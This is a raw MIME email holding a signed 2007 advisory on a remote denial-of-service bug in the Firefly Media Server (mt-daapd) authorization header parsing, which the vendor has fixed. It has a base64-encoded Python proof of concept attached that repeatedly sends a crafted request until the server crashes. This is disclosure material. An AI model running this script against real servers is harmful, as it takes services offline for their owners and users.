|
------=_Part_3565_5201906.1194026270314 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [UPH-07-02] UnprotectedHex.com security advisory [07-02] Discovered by nnp Discovered : 1 August 2007 Reported to the vendor : 13 October 2007 Fixed by vendor : 21 October 2007 Vulnerability class : Remote DoS Affected product : mt-dappd/Firefly Media Server Version : <= 0.2.4 Product details: www.fireflymediaserver.org/ ''' The purpose of this project is built the best server software to serve digital music to the Roku Soundbridge and iTunes; to be able to serve the widest variety of digital music content over the widest range of devices ''' File/Function/line : webserver.c/ws_decodepassword/1399 Cause: Null pointer dereference. There is an unchecked increment of the 'header' variable until a space character is encountered. If a space character is not encountered the pointer is incremented/dereferenced until out of bounds memory is hit. Exploiting this depends on the state of memory at the time so the exploit constantly sends a header with no data as part of the authorization header until a crash occurs. This typically occurs within seconds. /* xlat table is initialized */ while(*header != ' ') header++; Proof of concept code : Yes - -- http://www.smashthestack.org http://www.unprotectedhex.com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.7 (Darwin) Comment: http://firegpg.tuxfamily.org iD8DBQFHK8ZtbP10WPHfgnQRAmoEAJ9/4/wA4JFgjNta3Y0ScFL2KP5UEQCfbG03 NdzP+J8eSx+Q08/hX/ZzCSY=Ga2w -----END PGP SIGNATURE----- ------=_Part_3565_5201906.1194026270314 Content-Type: application/octet-stream; name=uph0702.py Content-Transfer-Encoding: base64 X-Attachment-Id: f_f8jf72ny Content-Disposition: attachment; filename=uph0702.py IyFDOlxweXRob24yNVxweXRob24yNS5leGUNCg0KIiIiCkFkdmlzb3J5IDogW1VQSC0wNy0wMl0N Cm10LWRhcHBkL0ZpcmVmbHkgbWVkaWEgc2VydmVyIHJlbW90ZSBEb1MKRGlzY292ZXJlZCBieSBu bnAKaHR0cDovL3d3dy51bnByb3RlY3RlZGhleC5jb20NCiIiIg0KDQppbXBvcnQgc3lzDQppbXBv cnQgc29ja2V0DQppbXBvcnQgdGltZQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogICAgc3lz LmV4aXQoLTEpDQoNCmtpbGxfbXNnID0gIiIiR0VUIC94bWwtcnBjP21ldGhvZD1zdGF0cyBIVFRQ LzEuMVxyXG4gDQpBdXRob3JpemF0aW9uOlxyXG5cclxuIiIiDQoNCmhvc3QgPSBzeXMuYXJndlsx XQ0KcG9ydCA9IHN5cy5hcmd2WzJdDQoNCnByaW50ICdbK10gSG9zdCA6ICcgKyBob3N0DQpwcmlu dCAnWytdIFBvcnQgOiAnICsgcG9ydA0KDQpwcmludCAiWytdIFNlbmRpbmcgIg0KcHJpbnQga2ls bF9tc2cNCg0KY3RyID0gMQ0Kd2hpbGUgMToNCiAgICBwcmludCAnWytdIEN0ciA6ICcgKyBzdHIo Y3RyKQ0KICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19T VFJFQU0pDQogICAgcy5jb25uZWN0KChob3N0LCBpbnQocG9ydCkpKQ0KICAgIHMuc2VuZChraWxs X21zZykNCiAgICBzLmNsb3NlKCkNCiAgICBjdHIgKz0gMQ0KDQoNCg=------=_Part_3565_5201906.1194026270314 Content-Type: text/plain; name=uph0702.txt Content-Transfer-Encoding: base64 X-Attachment-Id: f_f8jf7dl5 Content-Disposition: attachment; filename=uph0702.txt W1VQSC0wNy0wMl0KVW5wcm90ZWN0ZWRIZXguY29tIHNlY3VyaXR5IGFkdmlzb3J5IFswNy0wMl0K RGlzY292ZXJlZCBieSBubnAKCkRpc2NvdmVyZWQgOiAxIEF1Z3VzdCAyMDA3ClJlcG9ydGVkIHRv IHRoZSB2ZW5kb3IgOiAxMyBPY3RvYmVyIDIwMDcKRml4ZWQgYnkgdmVuZG9yIDogMjEgT2N0b2Jl ciAyMDA3CgpWdWxuZXJhYmlsaXR5IGNsYXNzIDogUmVtb3RlIERvUwoKQWZmZWN0ZWQgcHJvZHVj dCA6IG10LWRhcHBkL0ZpcmVmbHkgTWVkaWEgU2VydmVyClZlcnNpb24gOiA8PSAwLjIuNA0KUHJv ZHVjdCBkZXRhaWxzOiAKd3d3LmZpcmVmbHltZWRpYXNlcnZlci5vcmcvIAonJycKVGhlIHB1cnBv c2Ugb2YgdGhpcyBwcm9qZWN0IGlzIGJ1aWx0IHRoZSBiZXN0IHNlcnZlciBzb2Z0d2FyZSB0byBz ZXJ2ZSBkaWdpdGFsIG11c2ljIHRvIHRoZSBSb2t1IFNvdW5kYnJpZGdlIGFuZCBpVHVuZXM7IHRv IGJlIGFibGUgdG8gc2VydmUgdGhlIHdpZGVzdCB2YXJpZXR5IG9mIGRpZ2l0YWwgbXVzaWMgY29u dGVudCBvdmVyIHRoZSB3aWRlc3QgcmFuZ2Ugb2YgZGV2aWNlcwonJycNCg0KRmlsZS9GdW5jdGlv bi9saW5lIDogd2Vic2VydmVyLmMvd3NfZGVjb2RlcGFzc3dvcmQvMTM5OQ0KDQpDYXVzZTogTnVs bCBwb2ludGVyIGRlcmVmZXJlbmNlLiBUaGVyZSBpcyBhbiB1bmNoZWNrZWQgaW5jcmVtZW50IG9m IHRoZSAnaGVhZGVyJyB2YXJpYWJsZSB1bnRpbCBhIHNwYWNlIGNoYXJhY3RlciBpcyBlbmNvdW50 ZXJlZC4gSWYgYSBzcGFjZSBjaGFyYWN0ZXIgaXMgbm90IGVuY291bnRlcmVkIHRoZSBwb2ludGVy IGlzIGluY3JlbWVudGVkL2RlcmVmZXJlbmNlZCB1bnRpbCBvdXQgb2YgYm91bmRzIG1lbW9yeSBp cyBoaXQuIEV4cGxvaXRpbmcgdGhpcyBkZXBlbmRzIG9uIHRoZSBzdGF0ZSBvZiBtZW1vcnkgYXQg dGhlIHRpbWUgc28gdGhlIGV4cGxvaXQgY29uc3RhbnRseSBzZW5kcyBhIGhlYWRlciB3aXRoIG5v IGRhdGEgYXMgcGFydCBvZiB0aGUgYXV0aG9yaXphdGlvbiBoZWFkZXIgdW50aWwgYSBjcmFzaCBv Y2N1cnMuIFRoaXMgdHlwaWNhbGx5IG9jY3VycyB3aXRoaW4gc2Vjb25kcy4NCg0KICAgIC8qIHhs YXQgdGFibGUgaXMgaW5pdGlhbGl6ZWQgKi8KICAgIHdoaWxlKCpoZWFkZXIgIT0gJyAnKQogICAg aGVhZGVyKys7CgpQcm9vZiBvZiBjb25jZXB0IGNvZGUgOiBZZXMK ------=_Part_3565_5201906.1194026270314--